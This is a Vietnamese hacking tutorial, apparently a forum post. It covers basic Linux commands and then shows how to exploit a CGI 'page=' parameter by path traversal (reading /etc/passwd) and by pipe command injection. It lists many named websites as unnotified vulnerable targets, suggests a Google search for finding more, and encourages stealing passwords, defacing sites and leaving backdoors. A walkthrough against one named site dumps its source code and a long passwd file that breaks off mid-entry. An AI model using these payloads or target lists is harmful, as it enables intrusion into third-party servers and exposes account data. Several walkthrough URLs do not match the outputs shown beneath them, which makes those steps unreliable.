Hack web qua lỗi xem mã nguồn

trang này đã được đọc lần


Ở đây tôi tả một trong những phương pháp khảo sát khá phổ biến từ trước đến giờ, đó là Xem mã nguồn và lợi dụng các lỗi cho phép xem mã nguồn.

Trước tiên, bạn cần biết một số câu lệnh của linux dùng cho phương pháp này:


Làm quen với Linux
Linux là hệ điều hành đa người dùng, nghĩa là nhiều người có thể truy cập và sử dụng 1 máy tính cài Linux. Mỗi người muốn sử dụng được máy tính cài Linux thì phải có 1 account đã được đăng ký. Một accout gồm có 1 username và 1 password. Hai người khác nhau sẽ có 2 username khác nhau (nhưng password thì có thể trùng nhau). Để có thể bắt đầu thao tác và sử dụng, người dùng phải thực hiện thao tác đăng nhập (login và hệ thống). Quá trình này tóm gọn lại là 2 thao tác nhập vào username và password. Username và password cũng phân biệt chữ hoa và chữ thường. Và khi nhập vào password, trên màn hình sẽ không hiển thị bất cứ ký tự nào.

Linux có 1 account đặc biệt là account root. Đây là user có cấp cao nhất, có toàn quyền "sinh sát" đối với toàn hệ thống.

Mỗi người dùng trên Linux được cấp một thư mục riêng (gọi là home directory), là một thư mục con của /usr. Có dạng /usr/username; nghĩa là nếu username bạn là nbthanh thì home directory của bạn là /usr/nbthanh. Riêng đối với accout root thì home directory là /root. Các user có thể cùng thuộc một nhóm (group) hoặc là khác nhóm; các user trong cùng một nhóm thì có quyền hạn như nhau. Thường thì tất cả các user đều thuộc vào nhóm User (trừ root và các account dành riêng cho hệ thống).

User chỉ có quyền thao tác trong home directory của mình (và những thư mục khác được phép của hệ thống) mà thôi. User này không thể truy cập vào home directory của user khác (trừ trường hợp được chính user đó hoặc root cho phép). Mỗi tập tin (file) và thư mục trên Linux đều được "đăng ký chủ quyền", nghĩa là thuộc về một user và nhóm nào đó. Thường thì tập tin và thư mục được tạo bởi user nào thì sẽ thuộc về user đó. VD username của bạn là nbthanh, bạn thuộc nhóm user và bạn tạo ra 1 tập tin có tên là myfile.txt thì tập tin myfile.txt sẽ được đánh dấu là "người sử hữu: nbthanh; thuộc về nhóm: user". Những user khác không thể truy cập được myfile.txt nếu không được phép của bạn. Bạn hoàn toàn có thể thay đổi "chủ sở hữu" của tập tin/thư mục bằng các lệnh của Linux. Bạn hoàn toàn có thể đặt myfile.txt thuộc về user nbthanh nhưng lại thuộc về nhóm guests (mặc dù user nbthanh không nằm trong nhóm guests).
Một số lệnh căn bản

Các lệnh được trình bày sau đây tôi sẽ cố gắng so sánh nó với một lệnh tương tự trong DOS để nếu như bạn đã biết qua các lệnh của DOS rồi thì sẽ dễ hiểu hơn. Còn nếu bạn chưa từng biết qua các lệnh của DOS? Cũng không sao, bạn sẽ biết được thêm cùng 1 lúc các lệnh của Linux và DOS. Chú ý, đây là các lệnh trong chế độ text và được gõ từ bàn phím. Các lệnh phải được gõ chính xác (vì Linux phân biệt giữ chữ hoa và chữ thường!). Và dĩ nhiên là sau khi gõ xong một lệnh thì bạn đừng quên nhấn Enter để Linux bắt đầu thực hiện lệnh đó! :-) Lưu ý thêm là những gì tôi ghi giữa 2 ngoặc nhọn (< và >) là bắt buộc phải có, giữa hai ngoặc vuông ([ và ]) là tuỳ chọn (không bắt buộc).

Lệnh Công dụng - Cách dùng - Cú pháp
man đây có lẽ là lệnh mà bạn cần phải nhớ kỹ (đừng bao giờ quên!). Lệnh này tương tự như lệnh Help trong DOS. man sẽ hiển thị các thông tin chi tiết về cộng dụng, cách dùng và cú pháp của một lệnh khác (dĩ nhiên là các thông tin đều bằng tiếng Anh).
Cú pháp: man <tên_lệnh_khác>
Ví dụ: man ls
Và bạn hoàn toàn có thể gõ man man để hiển thị các thông tin giúp đỡ về chính lệnh man!
Lưu ý: để thoát (kết thúc) lệnh man, bạn hãy gõ vào ký tự hai chấm (:) sau đó gõ tiếp ký tự q. Nếu không thành công, bạn hãy nhấn phím ESC và thử lại lần nữa. Bạn cũng có thể nhấn Ctrl-C để thoát khỏi man.
ls lệnh này tương tự như lệnh dir trong DOS. ls sẽ liệt kê danh sách tất cả các file và thư mục nằm trong một thư mục mà bạn chỉ định.
Cú pháp chung: ls [tham_số] [thư_mục]
Nếu như bạn cung cấp phần thư_mục thì ls sẽ liệt kê các file trong thư mục hiện tại.
Ví dụ:
ls
ls -a
ls -al /usr

Một số tham số của ls như sau:

-a: liệt kê tất cả các file, kể cả file ẩn, là những file mà tên bắt đầu bằng dấu chấm (.)
-A: liệt kê tất cả các file, kể cả file ẩn, nhưng không liệt kê . và .., đây tên của thư mục hiện tại và thư mục cha trong Linux.
-l: liệt kê chi tiết về file (bao gồm các thông tin như thời gian tạo, kích thước, thuộc tính...).

Bạn hãy tự mình tìm hiểu thêm về các tham số khác của ls nhé! (dùng man ls). Và đừng quên dùng man cho các lệnh tiếp theo.

cd lệnh này tương tự như lệnh cd trong DOS. Dùng để chuyển tới một thư mục khác.
Cú pháp: cd [tên_thư_mục]
Ví dụ: cd /home

Nếu bạn không cung cấp tên_thư_mục thì cd sẽ đưa bạn về thư mục (home directory) của bạn. Trong Linux, mỗi người sử dụng đều có một home directory. Nếu username của bạn là nbthanh thì home directory của bạn sẽ là /usr/nbthanh. Riêng account root sẽ có home directory là /root.

pwd lệnh này tương tự như lênh cd (không có tham số) trong DOS. Lệnh này sẽ hiển thị lên màn hình cho bạn biết là bạn hiện đang ở thư mục nào.
Cú pháp: pwd
mkdir tương tự như lệnh md của DOS. Lệnh này dùng để tạo một thư mục mới.
Cú pháp: mkdir <tên_thư_mục_muốn_tạo>
Ví dụ:
mkdir mydir
mkdir /tmp/mydir2
rmdir tương tự như lệnh rm trong DOS, dùng để xoá một thư mục.
Cú pháp: rmdir <thư_mục_muốn_xoá>
Ví dụ:
rmdir mydir
rmdir /tmp/mydir2
rmdir /tmp/*
Lưu ý: bạn chỉ có thể xoá được thư mục nếu như nó rỗng, nghĩa là nó không chứa một file hoặc thư mục con nào nữa (ngoài . và ..).
cp tương tự như lệnh copy của DOS, dùng để chép file hoặc thư mục từ nơi này đến nơi khác.
Cú pháp: cp [tham_số] <file_hoặc_thư_mục_nguồn> <file_hoặc_thư_mục_đích>
Ví dụ:
cp /tmp/myfile.txt myfile.text
cp /home/*.cgi ./
cp -r /usr/nbthanh1 /usr/nbthanh2

Mặc định thì cp chỉ chép các file, nếu bạn thêm tham số -r thì cp sẽ chép luôn các thư mục.
rm tương tự như lệnh del trong DOS, lệnh này dùng để xoá file.
Cú pháp: rm <tên_file_muốn_xoá>
Ví dụ:
rm myfile.txt
rm /usr/nbthanh/nbtfile.txt
rm /tmp/*
mv tương tự như lênh move (ngoại trú) của DOS. Lệnh này sẽ di chuyển/đổi tên file từ nơi này đến nơi khác.
Cú pháp: mv <file_hoặc_thư_mục_nguồn> <file_hoặc_thư_mục_đích>
Ví dụ về di chuyển:
mv /tmp/myfile.txt /usr/nbthanh
mv myfolder /tmp
mv /usr/* /tmp
Ví dụ về đổi tên, vừa di chuyển vừa đổi tên:
mv myfile1.txt myfile2.txt
mv /usr/oldfoler ./newfolder
cat tương tự như lệnh type của DOS. Lệnh này dùng để hiển thị nội dung của 1 file lên màn hình.
Cú pháp: cat <tên_file_cần_hiển_thị>
Ví dụ:
cat myfile.txt
cat /tmp/temp.text

/../ dùng trong cách hack dưới đây, để chuyển vị trí hiện thời về thư mục cha.

ví dụ: bạn đang ở abc/ftpe.htm bạn dùng /../abc/ftpe.htm thì kết quả bạn sẽ về /abc/

Vậy là đã xong, tôi đã trình bày với bạn một số lệnh căn bản nhất của Linux. Bạn tự mình ra bài tập và thực hành nhé! Có thể bạn sẽ thắc mắc là tại sao không có lệnh nào tương tự như copy con trong DOS? Vâng đúng là như vậy, trong Linux, để tạo file thì bạn phải dùng một chương trình cụ thể (như một chương trình soạn thảo văn bản chẳng hạn) chứ không có lệnh tương tự nhu copy con của DOS


Một số ngôn ngữ web thông dụng hiện nay có nhiều lỗi này như Active Server Pages (ASP), Common Gateway Interface (CGI), ColdFusion Server (CFM), Hypertext Preprocessor (PHP).
Bài viết này tôi chỉ đề cập đến 1 bug đã có từ lâu nhưng thấy vẫn còn nhiều site mắc phải, đó là lỗi liên quan đến CGI design cho phép view source và file system traversal. Hãy xem ví dụ sau:
http://www.earthdayalliance.org/index.cgi?page=contact.htm
Ở đây index.cgi được gọi với tham số truyền vào là trang contact.htm (HTML file) nó sẽ đọc và hiện nội dung của trang này lên client browser. Tuy nhiên nếu người viết cgi ko kiểm tra kĩ lưỡng, ta có thể lợi dụng để xem chính nội dung của file index.cgi hay các trang khác. Ví dụ sau ta sẽ thay contact.htm bằng index.cgi:
http://www.earthdayalliance.org/index.cgi?page=index.cgi
Ở đây ta gặp 1 thông báo lỗi "error: No such file or directory /web/guide/earthdayalliance/www/content/index.cgi", nguyên nhân là thực tế index.cgi ko nằm trong thư mục hiện hành (tức là ../www/content/) mà nằm ở www, do đó ta sẽ chỉnh lại link 1 chút bằng 1 dot dot slash, như sau:
http://www.earthdayalliance.org/index.cgi?page=/../index.cgi
Chạy link này ta sẽ thấy nội dung của index.cgi được show trên browser. Việc xem được source có thể giúp ta tìm hiểu kĩ càng hơn về web app, thậm chí nếu may mắn có thể xem được những thông tin quan trọng khác.

Sau khi phát hiện trang web bị lỗi này, các bạn dùng các dòng lệnh linux để xem nội dung file, lấy password, deface ( không nên tí nào)...để lại backdoor trên trang đó...lệnh được đánh từ cửa sổ (Chẳng hạn Internet Explorer) có dạng sau:

http://trangwebbiloi.com/index.cgi?page=|lenhcango duongdantrenserverloi|


Đây chỉ là 1 ví dụ nhỏ, còn khai thác hay hạn chế thế nào thì tùy khả năng của mỗi người.
Các bạn có thể tìm các site bị lỗi này bằng cách dùng www.google.com, search từ khóa liên quan, chẳng hạn như: "index.cgi?page="
Đây là vài link tôi tìm thấy, các bạn có thể tham khảo:
http://www.discountdata.com/index.cgi?page=index.cgi

http://home.no.net/danm2/freezeware/index.cgi?page=leecher.html

http://www.resource.nl/uk/index.cgi?page=index.cgi

http://www.earthdayalliance.org/index.cgi?page=contact.htm
http://www.earthdayalliance.org/index.cgi?page=/../index.cgi

http://www.nestingeagles.com/index.cgi?page=videoB.htm
http://www.nestingeagles.com/index.cgi?page=/../index.cgi

http://www.warehousejewelry.com/cgi-bin/index.cgi?page=Privacy_Policy.htm
http://www.warehousejewelry.com/cgi-bin/index.cgi?page=/../index.cgi

http://demo1.secmod.com/index.cgi?page=links.html
http://demo1.secmod.com/index.cgi?page=index.cgi
http://demo1.secmod.com/index.cgi?page=/../../../../../etc/passwd

http://www.vintagejournal.com/VJ0901/index.cgi?page=/../index.cgi
http://www.vintagejournal.com/VJ0901/index.cgi?page=home.htm

http://www.datadart.com/commercesql/index.cgi?page=STK%20Datasheets.html&car
http://www.datadart.com/commercesql/index.cgi?page=/../index.cgi

http://www.berkshire-is.com/index.cgi?page=news.html
http://www.berkshire-is.com/index.cgi?page=index.cgi
http://www.berkshire-is.com/index.cgi?page=/../../../../../etc/passwd

http://www.smokymtnarts-crafts.com/index.cgi?page=otto.htm
http://www.smokymtnarts-crafts.com/index.cgi?page=/../index.cgi

http://www.randalloglegallery.com/index.cgi?page=about.htm
http://www.randalloglegallery.com/index.cgi?page=/../index.cgi
.....
Lưu ý các site trên chưa được thông báo về lỗi này.



2. Tôi đã hack một trang web như thế nào?
(các đường không biêt tui nhớ có đúng không, nếu không được thì đừng khó chịu nghe)
1. Tên trang lỗi:

http://www.randalloglegallery.com/index.cgi?page=about.htm

a. Xem mã nguồn:

http://www.randalloglegallery.com/index.cgi?page=/../index.cgi

Kết quả trên màn hình:

#! /usr/local/bin/perl ############################## # WebSite Template Server # Rserv 1.0 # Written Exclusively and Independantly By Ken Raisor # All Rights Reserved ############################## use CGI; use URI::Escape; use CGI::Carp qw(fatalsToBrowser); # CGI.pm init and headers $query=new CGI; print $query->header('text/html'); #shorten keystrokes required to access CGI data &convert_cgi_input; #Directory Bases $content = 'content'; $data = 'data'; $template_dir = 'templates'; $base = "/mnt/web/guide/randalloglegallery/www"; #Here's the beef of the program #get the template, get the content, run the functions #print it to the browser # $template_content = &load_template("$q{template}"); $page_content = &load_page("$q{page}"); $function_content = &function($q{action}); print &compile_output; # #General Sub-Routines sub compile_output { $page_and_function = $page_content . $function_content; if ($template_content =~ /%%PAGESEARCH%%/) { my $page_search = &build_page_search_form; $template_content =~ s/%%PAGESEARCH%%/$page_search/i; } $template_content =~ s/%%CONTENT%%/$page_and_function/i; return $template_content; } sub function { #valid functions $functions{'search'} = 'search'; $functions{'pagesearch'} = 'page_search'; my $function = shift; my $return; $mission = $functions{$function}; if ($mission) { print "mission: $mission"; eval{$return = &{$mission}}; } if ($@){print "E: $function: $@
"} return $return; } sub load_template { my $template = shift; if (!$template) { $template = "template.htm"; } $template_file = "$template_dir/$template"; open (TEMPLATE, "$template_file") or print "$error: $! $template_file"; my $return; while () { $return .= $_; } close TEMPLATE; return $return; } sub load_page { my $page = shift; my $return; if (!$page) {$page = 'home.htm';} if ($page ne 'none') { my $con = "$base/$content/$page"; open (PAGE, "$con") or print "error: $! $con"; while () { #print "$_"; $return .= $_; #print "$return"; } close PAGE; } return $return; } sub convert_cgi_input { my @names = $query->param; my $name; foreach $name (@names) { $q{$name} = $query->param($name); } if ($q{dump}) { foreach (keys %q) { print "$_ = $q{$_}
\n"; } } } # Function Sub-Routines sub search { use Text::ParseWords; #vars from the query string my $database_file = "$data/$q{dab}"; my $query = $q{qry}; my $field = $q{fld}; my $sort_by = $q{srt}; # Array of successful matches my @return_keys; #Load DB File open (DB, "$database_file") or &err("DB Err, $!"); #Get Keys my $key_line = ; # suppose we should keep this one global @key_array = quotewords(",", 0, $key_line); #convert Key Array to Key Hash for column location my $counter = 0; #key hash should be global foreach (@key_array){$key_hash{$_} = $counter; $counter++;} #find the column in the array where index/uniqueID resides and title key my $index = $key_hash{'index'}; my $title = $key_hash{'title'}; if (!$index) {&err('1',"DB Err, No Index")} if (!$title) {&err('0',"DB Err, No Title")} #Search DB while () { my $line = $_; #put all rows into an array my @data_array = quotewords(",", 0, $key_line); #do specific column search if ($field) { if ($data_array[$key_hash{$field}] =~ m/$query/i) { push (@return_keys, $data_array[$index]); $titles_hash{$data_array[$index]} = $data_array[$title]; $hash_of_arrays_match_data{$data_array[$index]} = [@data_array]; } } else #do entire data row search { if ($line =~ m/$query/i) { push (@return_keys, $data_array[$index]); $titles_hash{$data_array[$index]} = $data_array[$title]; $hash_of_arrays_match_data{$data_array[$index]} = [@data_array]; } } } ##### We must sort the returns ## for now and by default we will sort by the title fields, we will try to account for 'a' and 'the' ## if the below line works, certianly it will be confusing to read @sorted_matches = sort {$titles_hash{$b} cmp $titles_hash{$a}} &de_the_ify(%titles_hash); $search_results = &build_display(@sorted_matches); return $search_results; } sub build_display { my @all_matching_keys = @_; my $display_begin = $q{ma}; my $display_end = $q{mo}; my $display_template = "$template_dir/$q{dtp}"; my $data_template; my $all_displays; open (DATAPLATE, "$display_template") or &err('1',"DB Err, No Template"); while () { $data_template .= $_; } foreach $dat (@all_matching_keys[$display_begin..$display_end]) { $next_display = $data_template; @temp_data_array = @{$hash_of_arrays_match_data{$dat}}; foreach $k (keys %key_hash) { $next_display =~ s/%%$k%%/$temp_data_array[$key_hash{$k}]/s; } #In the future we might want to make this an array... $all_displays .= $next_display } return $all_displays; } sub de_the_ify { %input_hash = %_; # I think this works my @return; foreach $k (keys %input_hash) { if ($k =~ /^The /i) { $k =~ s/^the //i; $k = $k . ', The'; } elsif ($k =~ /^A /i) { $k =~ s/^A //i; $k = $k . ', A'; } push @return, $k; } return @return; } sub build_page_search_form { my $search_form = "

"; return $search_form; } sub page_search { print "running!!"; opendir (CONTENT, "$content") or print "ERR $!"; my @all_files = readdir(CONTENT); foreach (@all_files){print}; }


b. Xem các thư mục

http://www.randalloglegallery.com/index.cgi?page=/../index.cgi

Aty.htm aruta badurl.htm contact.txt content count_file guestbook hee home.htm images index.cgi index2.cgi mekiep prints search.html sucolam.htm templates wwwboard



c. Xem thông tin về quyền hạn, ngày tháng:

http://www.randalloglegallery.com/index.cgi?page=/../index.cgi



total 30 drwxr-xr-x 9 awesomea bbsuser 1024 Apr 16 05:57 . drwx--x--x 15 awesomea bbsuser 512 Apr 18 20:28 .. -rw-r--r-- 1 awesomea bbsuser 27 Mar 30 15:09 Aty.htm drwxr-xr-x 2 awesomea bbsuser 512 Feb 27 03:27 aruta -rw-r--r-- 1 awesomea bbsuser 714 Jan 9 2001 badurl.htm -rw-r--r-- 1 awesomea bbsuser 272 Jan 23 2001 contact.txt drwxr-xr-x 2 awesomea bbsuser 1536 Oct 12 2002 content -rw-r--r-- 1 awesomea bbsuser 0 Jan 9 2001 count_file lrwxr-xr-x 1 awesomea bbsuser 12 Apr 16 05:57 guestbook -> ../guestbook drwxr-xr-x 2 awesomea bbsuser 512 Mar 30 07:46 hee -rw-r--r-- 1 awesomea bbsuser 17 Mar 30 07:36 home.htm drwxr-xr-x 2 awesomea bbsuser 512 Aug 22 2002 images -rwxr--r-- 1 awesomea bbsuser 5695 Feb 1 00:13 index.cgi -rwxr--r-- 1 awesomea bbsuser 5695 Feb 14 01:28 index2.cgi drwxr-xr-x 2 awesomea bbsuser 512 Feb 27 03:24 mekiep drwxr-xr-x 2 awesomea bbsuser 2560 Aug 26 2002 prints -rw-r--r-- 1 awesomea bbsuser 908 Jan 9 2001 search.html -rw-r--r-- 1 awesomea bbsuser 34 Mar 17 23:55 sucolam.htm drwxr-xr-x 2 awesomea bbsuser 512 Jan 12 05:47 templates lrwxr-xr-x 1 awesomea bbsuser 11 Apr 16 05:57 wwwboard -> ../wwwboard

d. Đường dẫn hiện thời trên server

http://www.randalloglegallery.com/index.cgi?page=/../index.cgi

/mnt/web/guide/randalloglegallery...gì gì đó

e. Xem file password ( sau đó các bạn dùng John the Ripper mà giải mã_nhưng file sau bị vô hiệu rối_ bạn nên tìm trang khác)

http://www.randalloglegallery.com/index.cgi?page=/../index.cgi



root:*:0:0:System Administrator,,,:/usr/root:/bin/bash daemon:*:1:1:System Daemon:/:/sbin/nologin sys:*:2:2:Operating System:/usr/home/sys:/sbin/nologin bin:*:3:7:BSDI Software,,,:/usr/home/bsdi:/sbin/nologin operator:*:5:5:System Operator,,,:/usr/home/opr:/sbin/nologin uucp:*:6:6:UNIX-to-UNIX Copy:/var/spool/uucppublic:/usr/libexec/uucico news:*:9:8:USENET News,,,:/var/news/etc:/sbin/nologin postmaster:*:11:14: :/usr/home/postmaster:/bin/false smmsp:*:25:25:,,,,:/usr/home/smmsp:/sbin/nologin www:*:51:84:WWW-server:/var/www:/sbin/nologin mysql:*:52:84:,,,:/usr/home/mysql:/bin/bash msql:*:53:84:,,,:/usr/home/msql:/bin/bash sshd:*:54:100:,,,,:/usr/home/sshd:/bin/false ftp:*:106:84::/usr/home/ftp:/bin/false nagios:*:155:155:,,,:/usr/local/nagios:/bin/false system:*:829:84:,,,:/usr/home/system:/bin/bash murdog:*:1001:102::/usr/home/murdog:/bin/bash rog8:*:1006:101:,,,:/web/guide/mx:/bin/pop ccinema5:*:1007:101:,,,:/web/guide/mx:/bin/pop agri4:*:1009:101:,,,:/web/guide/mx:/bin/pop prorecruit2:*:1011:101:,,,:/web/guide/mx:/bin/pop prorecruit5:*:1014:101:,,,:/web/guide/mx:/bin/pop prorecruit6:*:1015:101:,,,:/web/guide/mx:/bin/pop petsitter2:*:1023:101:,,,:/web/guide/mx:/bin/pop petsitter3:*:1024:101:,,,:/web/guide/mx:/bin/pop igait11:*:1025:101:,,,:/web/guide/mx:/bin/pop igait23:*:1026:101:,,,:/web/guide/mx:/bin/pop igait24:*:1027:101:,,,:/web/guide/mx:/bin/pop fremi2:*:1028:101:,,,:/web/guide/mx:/bin/pop razortruss3:*:1033:101:,,,:/web/guide/mx:/bin/pop lmtd:*:1034:102:,,,,:/mnt/web/guide/rochesterlmtd:/bin/false ccline2:*:1035:101:,,,:/web/guide/mx:/bin/false ccline3:*:1036:101:,,,:/web/guide/mx:/bin/suspended ccline4:*:1037:101:,,,:/web/guide/mx:/bin/suspended ccline5:*:1038:101:,,,:/web/guide/mx:/bin/suspended ccline6:*:1039:101:,,,:/web/guide/mx:/bin/suspended ccline7:*:1040:101:,,,:/web/guide/mx:/bin/suspended ccline9:*:1042:101:,,,:/web/guide/mx:/bin/suspended ccline10:*:1043:101:,,,:/web/guide/mx:/bin/suspended ccline11:*:1044:101:,,,:/web/guide/mx:/bin/suspended ccline12:*:1045:101:,,,:/web/guide/mx:/bin/suspended ccline13:*:1046:101:,,,:/web/guide/mx:/bin/suspended ebask13:*:1050:101:,,,:/web/guide/mx:/bin/pop nrh2:*:1051:101:,,,:/web/guide/mx:/bin/pop razortruss14:*:1056:101:,,,:/web/guide/mx:/bin/pop razortruss31:*:1057:101:,,,:/web/guide/mx:/bin/pop zer8tes2:*:1058:101:,,,:/web/guide/mx:/bin/pop rpolak2:*:1068:101:,,,:/web/guide/mx:/bin/pop thadb2:*:1072:101:,,,:/web/guide/mx:/bin/pop thadb3:*:1073:101:,,,:/web/guide/mx:/bin/pop pitbossa:*:1079:102:,,,,:/mnt/web/guide/ubetsportsbook:/bin/suspended martinny:*:1080:102:,,,,:/mnt/web/guide/greenmanfarm:/bin/suspended rog:*:1082:102:,,,:/mnt/web/guide/fantasticsmiles:/bin/suspended tgarrity:*:1087:102:,,,:/mnt/web/guide/adamsmarina:/bin/false southhonda:*:1089:102:,,,,:/mnt/web/guide/southhonda:/bin/false western:*:1092:102:,,,,:/mnt/web/guide/westernpleasureranch:/bin/false polarhead:*:1093:102:,,,:/mnt/web/guide/polarhead:/bin/bash calfishing:*:1095:102:,,,:/mnt/web/guide/calfishing:/bin/suspended washington:*:1099:102:,,,:/mnt/web/guide/us-elections:/bin/bash mistyress:*:1102:102:,,,:/mnt/web/guide/contentisqueen:/bin/false ebask:*:1104:102:,,,:/mnt/web/guide/ebask:/bin/bash everymd:*:1106:102:,,,,:/mnt/web/guide/everymd:/bin/false thadb:*:1108:102:,,,:/mnt/web/guide/rayolux:/bin/false detonssk:*:1109:102:,,,:/mnt/web/guide/digitalcowboy:/bin/suspended milan:*:1115:102:,,,:/mnt/web/guide/cbme:/bin/false igait25:*:1119:101:,,,:/web/guide/mx:/bin/pop cymk:*:1120:102:,,,:/mnt/web/guide/fourcolor:/bin/bash mlugo:*:1122:102:,,,:/mnt/web/guide/simplycars:/bin/suspended davidldickens:*:1124:102:,,,:/mnt/web/guide/demandcontrol:/bin/false bshaver:*:1125:102:,,,:/mnt/web/guide/cars-n-credit:/bin/bash ronjohnson:*:1130:102:,,,:/mnt/web/guide/surgicalassociated:/bin/suspended rweiss:*:1131:102:,,,:/mnt/web/guide/dmpros:/bin/bash hbomed:*:1132:102:,,,,:/mnt/web/guide/hbomedtoday:/bin/bash cnewman:*:1133:102:,,,:/mnt/web/guide/personagrata:/bin/suspended juneco:*:1134:102:,,,,:/mnt/web/guide/juneco:/bin/false davidsok:*:1137:102:,,,:/mnt/web/guide/auctime:/bin/bash poolfun:*:1138:102:,,,,:/mnt/web/guide/tampabaynspi:/bin/suspended markg:*:1141:102:,,,:/mnt/web/guide/seattlediscmastering:/bin/false oltman:*:1144:102:,,,:/mnt/web/guide/oltman:/bin/false diamondt:*:1145:102:,,,:/mnt/web/guide/diamondt:/bin/false sjwtwib:*:1146:102:,,,:/mnt/web/guide/ibnetllc:/bin/suspended iceman:*:1149:102:,,,:/mnt/web/guide/icesensations:/bin/false site:*:1150:102:,,,:/mnt/web/guide/jt10000:/bin/false georgec:*:1152:102:,,,:/mnt/web/guide/georgecarr:/bin/false mmoothart:*:1153:102:,,,:/mnt/web/guide/mfmenterprises:/bin/bash hqc:*:1156:102:,,,:/mnt/web/guide/hqcouplers:/bin/false galbright:*:1158:102:,,,:/mnt/web/guide/albrightideas:/bin/bash marie:*:1159:102:,,,:/mnt/web/guide/marieswebdesigns:/bin/bash kaus:*:1161:102:,,,:/mnt/web/guide/recover4all:/bin/bash jnakahn:*:1162:102:,,,:/mnt/web/guide/a1musicint:/bin/false buildit:*:1166:102:,,,:/mnt/web/guide/buildit4u:/bin/false sharptwo:*:1167:102:,,,:/mnt/web/guide/sharpview:/bin/bash karans:*:1177:102:,,,:/mnt/web/guide/corpnetusa:/bin/bash aeicalvinl:*:1180:102:,,,:/mnt/web/guide/calvinleung:/bin/suspended mlevinson:*:1186:102:,,,:/mnt/web/guide/usa-canada-lions-forum:/bin/false geoffc:*:1187:102:,,,:/mnt/web/guide/mainsouth:/bin/bash philstynftp:*:1188:102:,,,:/mnt/web/guide/philstyn-av:/bin/bash hlayftp:*:1189:102:,,,:/mnt/web/guide/hereslookingatyou:/bin/bash direct:*:1190:102:,,,:/mnt/web/guide/directconnect:/bin/false soniafay:*:1191:102:,,,:/mnt/web/guide/bizgraphics:/bin/bash midstar:*:1192:102:,,,,:/mnt/web/guide/midstarinc:/bin/false barrym:*:1193:102:,,,:/mnt/web/guide/webari:/bin/false ckang:*:1194:102:,,,:/mnt2/guide2/webshappening:/bin/bash workbench:*:1198:102:,,,:/mnt/web/guide/workbenchweb:/bin/suspended nazca:*:1200:102:,,,:/mnt/web/guide/nazcasaatchi:/bin/false amn:*:1202:102:,,,:/mnt/web/guide/gilsoncafecinema:/bin/false caconelect:*:1203:102:,,,:/mnt/web/guide/conelect:/bin/bash whkuntz:*:1206:102:,,,:/mnt/web/guide/testyourwater:/bin/bash razortruss:*:1211:102:,,,:/mnt/web/guide/razortruss:/bin/bash ebask2:*:1212:105: :/mnt/web/guide/mx:/bin/false ebask3:*:1213:105: :/mnt/web/guide/mx:/bin/false ebask4:*:1214:105: :/mnt/web/guide/mx:/bin/false nehz:*:1215:102:,,,,:/mnt/web/guide/lilmall:/bin/suspended tdcmedia:*:1218:102:,,,,:/mnt/web/guide/tdcmedia:/bin/bash jzabka:*:1219:102:,,,:/mnt/web/guide/ztechnologygroup:/bin/false best:*:1221:102:,,,:/mnt/web/guide/broadwaybar:/bin/false deetch:*:1225:102:,,,:/mnt/web/guide/deetch:/bin/bash clcwc:*:1237:102:,,,,:/mnt/web/guide/clcwc:/bin/suspended glm:*:1240:102:,,,:/mnt/web/guide/glm-online:/bin/bash proweb:*:1241:102:,,,:/mnt/web/guide/prowebimage:/bin/bash milan2:*:1245:105: :/mnt/web/guide/mx:/bin/false milan3:*:1246:105: :/mnt/web/guide/mx:/bin/false milan4:*:1247:105: :/mnt/web/guide/mx:/bin/false milan5:*:1248:105: :/mnt/web/guide/mx:/bin/false milan6:*:1249:105: :/mnt/web/guide/mx:/bin/false milan7:*:1250:105: :/mnt/web/guide/mx:/bin/false milan8:*:1251:105: :/mnt/web/guide/mx:/bin/false milan9:*:1252:105: :/mnt/web/guide/mx:/bin/false sdoherty:*:1268:102:,,,:/mnt/web/guide/bigideadesign:/bin/bash direct2:*:1281:105: :/mnt/web/guide/mx:/bin/false direct3:*:1282:105: :/mnt/web/guide/mx:/bin/false direct5:*:1284:105: :/mnt/web/guide/mx:/bin/false direct6:*:1285:105: :/mnt/web/guide/mx:/bin/false direct7:*:1293:105: :/mnt/web/guide/mx:/bin/false direct8:*:1294:105: :/mnt/web/guide/mx:/bin/false direct9:*:1295:105: :/mnt/web/guide/mx:/bin/false tlaskowski:*:1318:102:,,,:/mnt/web/guide/survivalschool:/bin/false bwt:*:1320:102:,,,:/mnt/web/guide/guitarsbyleo:/bin/bash ctennant:*:1323:102:,,,:/mnt/web/guide/ethnoweb:/bin/suspended rushs:*:1324:102:,,,,:/mnt/web/guide/rushs:/bin/false shreve:*:1325:102:,,,:/mnt/web/guide/footlightranch:/bin/bash krwessel:*:1327:102:,,,:/mnt/web/guide/wessel-law-office:/bin/false vonburg:*:1329:102:,,,:/mnt/web/guide/flysafe:/bin/bash netbase:*:1330:102:,,,:/mnt/web/guide/netbasemedia:/bin/bash rsl:*:1334:102:,,,:/mnt/web/guide/regmaster:/bin/bash cri:*:1338:102:,,,:/mnt/web/guide/cri:/bin/bash gracefm:*:1345:102:,,,,:/mnt/web/guide/graceftmyers:/bin/false wellspring:*:1350:102:,,,:/mnt/web/guide/wellspringacademy:/bin/suspended eotw:*:1351:102:,,,:/mnt/web/guide/eyesofthewild:/bin/suspended friedly:*:1354:102:,,,,:/mnt/web/guide/joannfriedly:/bin/false ceason:*:1355:102:,,,:/mnt/web/guide/goluckymusic:/bin/bash philb:*:1361:102:,,,:/mnt/web/guide/historicpages:/bin/false paida:*:1367:102:,,,,:/mnt/web/guide/pyramidalloys:/bin/false everymd2:*:1369:101:,,,:/web/guide/mx:/bin/pop everymd3:*:1370:101:,,,:/web/guide/mx:/bin/pop jluttieri:*:1371:102:,,,:/mnt/web/guide/suffolkmarine:/bin/false alleny:*:1373:102:,,,:/mnt/web/guide/neiparts:/bin/bash glm2:*:1376:105: :/mnt/web/guide/mx:/bin/false improv:*:1378:102:,,,:/mnt/web/guide/vertical-imbalance:/bin/suspended nyec:*:1380:102:,,,:/mnt/web/guide/nyec:/bin/suspended allomedic:*:1392:102:,,,:/mnt/web/guide/allo-medic:/bin/bash baker:*:1393:102:,,,:/mnt/web/guide/brassfieldsandsavi:/bin/suspended stockval:*:1394:102:,,,:/mnt/web/guide/stkval:/bin/bash tristate:*:1395:102:,,,:/mnt/web/guide/tristatetheatre:/bin/false ronjohnson2:*:1396:105: :/mnt/web/guide/mx:/bin/false ronjohnson3:*:1397:105: :/mnt/web/guide/mx:/bin/false ronjohnson4:*:1398:105: :/mnt/web/guide/mx:/bin/false ronjohnson6:*:1400:105: :/mnt/web/guide/mx:/bin/false ronjohnson7:*:1401:105: :/mnt/web/guide/mx:/bin/false ronjohnson10:*:1404:105: :/mnt/web/guide/mx:/bin/false ebask5:*:1411:105: 